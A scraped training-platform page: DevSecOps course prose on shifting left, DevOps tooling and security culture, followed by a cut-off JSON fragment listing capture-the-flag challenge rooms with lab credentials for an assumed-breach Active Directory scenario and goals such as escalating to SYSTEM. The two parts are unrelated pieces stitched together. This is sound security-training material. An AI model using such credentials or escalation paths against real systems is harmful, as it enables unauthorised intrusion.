\nSince security can now be introduced early, risks are reduced massively. In the past, you would find out about security flaws and bugs at the very late stages, even in production. Therefore leading to stress, rollbacks, and economic losses. Integrating code analysis tools and automated tests earlier in the process can now identify these security flaws during early development.
\nShifting Left
\nIn the past, security testing was implemented at the end of the development cycle. As the industry evolved and security functions were introduced, security teams would perform various analyses and security testing in the final stages of the lifecycle.
\nDepending on the results of security testing, it would either permit the application to proceed for deployment into production or reject the application and pass it back to developers for remediating the flaws identified. This resulted in long delays in development and friction between teams.
\nImplementing security measures during all stages of the development lifecycle (shifting left) rather than at the end of the cycle will ensure the software is designed with security best practices built in. By detecting security flaws early in development, remediation costs are lower, and there would be no need to roll back changes as they are being addressed on time. This reduces cost, builds trust, and improves the security and quality of the product.
\nWhy are we shifting left
\nBack in the day, before agile, developers would request infrastructure from IT and receive servers weeks or months later. Nowadays, this provisioning of infrastructure in the cloud is automated. This shift has improved development productivity and speed. However, this increased velocity can also spark security concerns and lead to flaws that can go unnoticed.
\n![\"Shifting](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/61a7523c029d1c004fac97b3/room-content/2078c48d1463aaf4245f2ed0d1175cab.png\")
This development approach to shifting left in DevOps can be referred to as DevSecOps.
\nDevSecOps is an approach that relies heavily on automation and platform design that integrates security as a shared responsibility. It is a culture-driven development style that normalises security as a day-to-day operation.
\nWhat is the value?
\nDevSecOps helps bring down vulnerabilities, maximises test coverage, and intensifies the automation of security frameworks. This reduces risk massively, assisting organisations in preventing brand reputation damage, and economic losses due to security flaws incidents, making life easier for auditing and monitoring.
\nHow to implement this efficiently?
\nCulture is key. It does not work without open communication and trust. It only works with collective effort. DevSecOps should aim to bridge the security knowledge gaps between teams; for everyone to think and be accountable for security, they first need the tools and knowledge to drive this autonomy efficiently and confidently.
\nDevSecOps Challenges
\nSecurity Silos
\nIt is common for many security teams to be left out of DevOps processes and portray security as a separate entity, where specialised people can only maintain and lead security practices. This situation creates a silo around security and prevents engineers from understanding the necessity of security or applying security measures from the beginning.
\nThis is not scalable or flexible. Security should be a supportive function to help other teams scale and build security, without security teams being a blocker, but rather a ramp to promote secure solutions and decisions. The best practice is to share these responsibilities across all team members instead of having a specialised security engineer.
\nLack of Visibility & Prioritisation
\nAim to create a culture where security and other essential application components treat security as a regular aspect of the application. Developers can then focus on development with confidence about security instead of security departments playing police and the blame game. Trust should be built between teams, and security should promote the autonomy of teams by establishing processes that instil security.
\nStringent Processes
\nEvery new experiment or piece of software must not go through a complicated process and verification against security compliances before being used by developers. Procedures should be flexible to account for these scenarios, where lower-level tasks should be treated differently, and higher-risk tasks and changes are targeted for these more stringent processes.
\nDevelopers need environments to test new software without common security limitations. These environments are known as \"SandBox,\" which are temporarily isolated environments. These environments have no connection to any internal network and have no customer data.
IntroductionDevSecOps Learning Path
This is the first room in a new DevSecOps learning path being developed. The new path will cover:
In the previous task, we learned about the different software development styles throughout the years and how these played a big part in the inception of DevOps. This task will introduce you to key concepts, tools, and how they all work together.
\nHow does DevOps work?
\nDevOps is visualized as an infinite loop, describing all the comprising phases:
\n\n
![\"the](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/61a7523c029d1c004fac97b3/room-content/538ad9f777ec0153d5d648edd4bcf65a.png\")
Following the infinite loop of the DevOps diagram, let's expand on some DevOps tools & processes that we'll look at as we follow the DevSecOps pathway and how they help an organization:
\n\n
\n
Software Development Models
\nSEC3PO, X Fighter Dev, Chewba-QA and S2-A2 have been assigned to discover minerals in nearby planets in the Galaxy. Watto, the Bug, is funding the mission by providing equipment and fuel to carry out this project. They are tasked to set a course and research these planets. Can you guess which Software Development Model they have used in each case to achieve the mission?
\nClick the View Site button on the top right, and look at the static site attached to this task. Can you figure out which approach was taken in each comic snippet? To view the comic again, click the button again.
To view the comic again, click the View Site button again.
Background
\nMission: Travel to the planet with the least amount of risk possible.
\nFuel: Accounts for 130.000 Light Years of travel
\nModels: Waterfall, Agile & DevOps
| Planet | \nDistance from Spaceship | \n
| Testooine | \n125.000 Light Years | \n
| Hackboo | \n100.000 Light Years | \n
| TryHothMe | \n80.000 Light Years | \n
| Dagobug | \n60.000 Light Years | \n
Comic 1
Some tests have passed to go to Testooine, which was the initial decision by x fighter dev. It is decided that it is the next planet to visit.
\nComic 2
\nSome tests indicated that it is a high risk to travel to Testooine; first, some tests have passed for Naboo, but S2-D2 has decided the course should be changed to Hoth.
\nComic 3
\nThe initial decision based on analysis by X fighter Dev is to travel to Hoth. Costs were questioned, and although Hoth is one of the closest, SEC3PO has analysed the trajectory and has set new parameters for the tests. Chewba-QA has concluded to change orbit to Dagobah based on further tests.
DevSecOps CultureDevSecOps Culture
Promote autonomy of teams
Whether it is a large organization or a start-up in hypergrowth, the only way to not leave security behind is by promoting the autonomy of teams. This can be done by automating processes that fit seamlessly with the development pipeline until security tests become just another type of test, like unit testing, smoke bombs, etc.
Leading by example and promoting education like creating playbooks / runbooks to spot these flaws and fix them, understand their risk, and build confidence in engineers to make the secure decision independently. The ratio of developers, platform, infrastructure engineers, etc., won't be the same as security engineers, and we must understand they can't be in every conversation. Security should act as a supporting function that focuses on building trust and creating as much overlap in knowledge between teams as possible.
Visibility and Transparency
For every tool being introduced or practised, there needs to be a supporting process that provides visibility and promotes transparency to other teams. This means that if we want to build autonomy in groups, as mentioned earlier, they need to have visibility on the security state of the service they own or maintain. For example, a dashboard visualizes the number of security flaws by the criticality of the service. This helps prioritize accordingly, so tasks don't get lost in the backlog or noise, and they can tackle flaws at the right time. The security state measure depends on the company, but it could be the number of high findings a service might or might not have which determine if it is in a good security state.
Transparency would refer to introducing tools and practices that are accessible to teams. For example, if you present a check before merging code, and the review doesn't pass and shows a message saying \"signature of possible code injection flaw detected, please remediate,\" the developer or engineer should have access to the tool that is flagging that message. Usually, these analysis tools that flag those alerts have a UI that specifies the line in code where it's affected. They include a definition and a remediation suggestion with steps. In this example, a developer role can be created so that they have access to more information. This promotes education and autonomy by extending transparency that, traditionally, was only accessible by security teams.
Account for flexibility thanks to understanding and empathy
As mentioned earlier, instilling security in DevOps processes with visibility and transparency is no easy task. There is a factor that can determine success: the level of understanding and empathy. This means that the definition of risk for security teams is unequivocal, but for other teams, risk can be different and just as precise for them. This doesn't only apply to risk but to an umbrella of things; it ramifies into what they prioritize, how they work, and what they think is important enough to leave aside a project with a tight deadline to fix a bug.
There is no magic tool or process for everyone. It is essential to understand how developers/engineers work, what they know to be a risk, and what they prioritize. If you know their perspective, it's easier to build a process that finds common ground and has a higher chance to work vs adding another tool that creates more noise and stress for everyone. This understanding builds perspective, which accounts for empathy for how other teams work and builds a process that accounts for flexibility. This is needed because every situation might be different, deadlines might be different, and bandwidth can change over time.
As a DevSecOps engineer, suppose you took the time to understand how a team owns a service. In that case, that will have a security scanner added to its development process, worked and viewed priority; it will be easier to get their buy-in and demonstrate value. For example, if it's a platform team and owns an internal service but a core service, a risk would be a bug that disrupts the service, not a potential injection that lives behind a proxy. You would need internal credentials to exploit it. You can tune the scanners or add a triaging process that tackles the questions they would ask themselves, and this would, in turn, build trust vs crying wolf and security processes being questioned.
Read about DevSecOps success stories here.
[ INITIAL ACCESS GRANTED ]
\nUSER > ctf.local\\j.smith
\nPASS > JSmith@IT2024
\nYou're already in. The breach has been assumed, now it's time to move forward. Navigate through a compromised Active Directory environment, move laterally through the domain, and escalate your way to full control. The question isn't how you got in... it's how far you can go.
\nCorpNet's internal network operations centre has been running quietly for years. Monitoring hosts, logging events, and keeping the infrastructure alive. Or so it seems. A tip from a disgruntled contractor suggests that someone on the NOC team has been cutting corners, leaving doors open, and hiding things in places no one thinks to look.
\nThe portal is up. The services show green. The audit log looks clean.
\nBut clean logs can be written by anyone.
\nYour job is to get in, move through the system, and find out what is really running behind the secret dashboard.
","timeToComplete":30,"title":"Silent Monitor","type":"challenge","order":1},{"_id":"6a0166a91ea8cc0dfe5633f6","businessOnly":false,"code":"windowsjump","collaborator":[],"contentDropPriority":0,"description":"Use privilege escalation knowledge to jump from a guest user to SYSTEM.","difficulty":"medium","difficultyLevel":3,"flags":{"isAzureContent":false},"freeToUse":false,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/6989b1062386d3517f652edd-1778580823661","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/6989b1062386d3517f652edd-1778836251352","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":159,"paidAccess":{"streak":{"enabled":false},"active":false},"published":"2026-05-21T15:00:34.248Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe14"},{"tag":"Windows","label":"Windows","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fe15"},{"tag":"Metasploit Framework","label":"Metasploit Framework","weight":1,"category":"Tools","_id":"6a1696845ba5af21a079fe16"},{"tag":"PowerUp","label":"PowerUp","weight":1,"category":"Tools","_id":"6a1696845ba5af21a079fe17"},{"tag":"Red","label":"Red","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fe18"},{"tag":"Privilege escalation","label":"Privilege escalation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe19"},{"tag":"Common Services Threats & Attacks","label":"Common Services Threats & Attacks","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe1a"},{"tag":"Windows Privilege Escalation","label":"Windows Privilege Escalation","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe1b"},{"tag":"Local Windows Credentials","label":"Local Windows Credentials","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe1c"},{"tag":"Weak Credentials","label":"Weak Credentials","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe1d"},{"tag":"segment 2","label":"segment 2","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fe1e"}],"tags":["Penetration Tester/ Red Team","Windows","Metasploit Framework","PowerUp","Red","Privilege escalation","Common Services Threats & Attacks","Windows Privilege Escalation","Local Windows Credentials","Weak Credentials","segment 2"],"taskSearchText":" Challenge![\"Virtual](\"/_next/static/media/complete-card.7bd8622dbb3d9667.svg\")
![](\"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765216406\"){kind=icon}
\nInfo: Start the Target machine and AttackBox above to begin the challenge.
\nA routine vulnerability scan flagged a Windows machine on the internal network; nothing alarming on the surface, just a standard workstation left behind after a round of layoffs. IT never cleaned it up properly. Your job is to find out how badly. Your objective is to escalate from guest access all the way through:
\nguest->thmuser->notadmin->svcadmin->SYSTEM
Volt Labs, a small SaaS shop, suspects an old staging server has rotted into an exposed liability. Mara has assigned you the engagement. Find your way in and demonstrate full compromise.
\nStart the VM by clicking the Start Lab Machine button at the top right of the task. You can complete the challenge by connecting through VPN or the AttackBox, which contains all the essential tools.
Allow two to three minutes for all services to start.
","timeToComplete":60,"title":"Operation Coldstart","type":"challenge","order":1},{"_id":"69ffb455b6f78ff13d06862b","businessOnly":false,"code":"operationpromotion","collaborator":[],"contentDropPriority":0,"description":"One engagement stands between you and your next title.","difficulty":"easy","difficultyLevel":2,"flags":{"isAzureContent":false},"freeToUse":false,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1779092156693","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1779217862269","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":267,"paidAccess":{"active":false,"streak":{"enabled":false}},"published":"2026-05-21T15:00:33.944Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Security Analyst/ Blue Team","label":"Security Analyst/ Blue Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fdef"},{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fdf0"},{"tag":"Linux","label":"Linux","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fdf1"},{"tag":"Purple","label":"Purple","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fdf2"},{"tag":"Privilege escalation","label":"Privilege escalation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fdf3"},{"tag":" Linux Privilege Escalation","label":" Linux Privilege Escalation","weight":1,"category":"General","_id":"6a1696845ba5af21a079fdf4"},{"tag":"segment 2.5","label":"segment 2.5","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fdf5"}],"tags":["Security Analyst/ Blue Team","Penetration Tester/ Red Team","Linux","Purple","Privilege escalation"," Linux Privilege Escalation","segment 2.5"],"taskSearchText":" Operation PromotionYou are up for promotion at Hadron Security. Your senior lead, Mara, has handed you a solo engagement against RecruitCorp, a small recruiting firm with a public-facing portal. Compromise the host, capture the flags, and demonstrate that you are ready for the Penetration Tester title.
\nStart the VM by clicking the Start Lab Machine button at the top-right of the task. You can complete the challenge by connecting through VPN or the AttackBox, which contains all the essential tools.
Allow two to three minutes for all services to start.
","timeToComplete":60,"title":"Operation Promotion","type":"challenge","order":1},{"_id":"69fc9f14ac185f5063908c17","businessOnly":false,"code":"domino","collaborator":[],"contentDropPriority":0,"description":"Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.","difficulty":"medium","difficultyLevel":3,"flags":{"isAzureContent":false},"freeToUse":false,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/62a7685ca6e7ce005d3f3afe-1779093318309","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/62a7685ca6e7ce005d3f3afe-1779111847303","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":176,"paidAccess":{"streak":{"enabled":false},"active":false},"published":"2026-05-21T15:00:33.580Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":5,"category":"Job Roles","_id":"6a1696845ba5af21a079fdd6"},{"tag":"Web","label":"Web","weight":5,"category":"Technology","_id":"6a1696845ba5af21a079fdd7"},{"tag":"Nmap","label":"Nmap","weight":5,"category":"Tools","_id":"6a1696845ba5af21a079fdd8"},{"tag":"Nikto","label":"Nikto","weight":5,"category":"Tools","_id":"6a1696845ba5af21a079fdd9"},{"tag":"Red","label":"Red","weight":5,"category":"PoV","_id":"6a1696845ba5af21a079fdda"},{"tag":"curl","label":"curl","weight":5,"category":"Tools","_id":"6a1696845ba5af21a079fddb"},{"tag":" web","label":" web","weight":5,"category":"General","_id":"6a1696845ba5af21a079fddc"},{"tag":"segment 2.5","label":"segment 2.5","weight":3,"category":"Segment","_id":"6a1696845ba5af21a079fddd"},{"tag":"segment 3","label":"segment 3","weight":3,"category":"Segment","_id":"6a1696845ba5af21a079fdde"},{"tag":"Web application security","label":"Web application security","weight":5,"category":"Skills","_id":"6a1696845ba5af21a079fddf"}],"tags":["Penetration Tester/ Red Team","Web","Nmap","Nikto","Red","curl"," web","segment 2.5","segment 3","Web application security"],"taskSearchText":" ChallengeThe NexusCorp Employee Portal appears to be a typical internal application with authentication controls and role-based access in place. However, multiple small weaknesses, ranging from misconfigurations to logic flaws, can be combined to fully compromise the system.
\nAs an attacker, your objective is to observe how the application behaves, interact with its endpoints, and identify weak trust boundaries. By analysing requests, modifying parameters, and chaining vulnerabilities together, you can progressively escalate your access and move deeper into the system.
\nA single misstep can trigger a chain reaction, exploit each weakness in sequence and watch the system fall, one domino at a time.
","timeToComplete":60,"title":"Domino","type":"challenge","order":1}],"totalDocs":11,"limit":10,"page":1,"totalPages":2,"hasPrevPage":false,"hasNextPage":true,"prevPage":null,"nextPage":2,"pagingCounter":1}}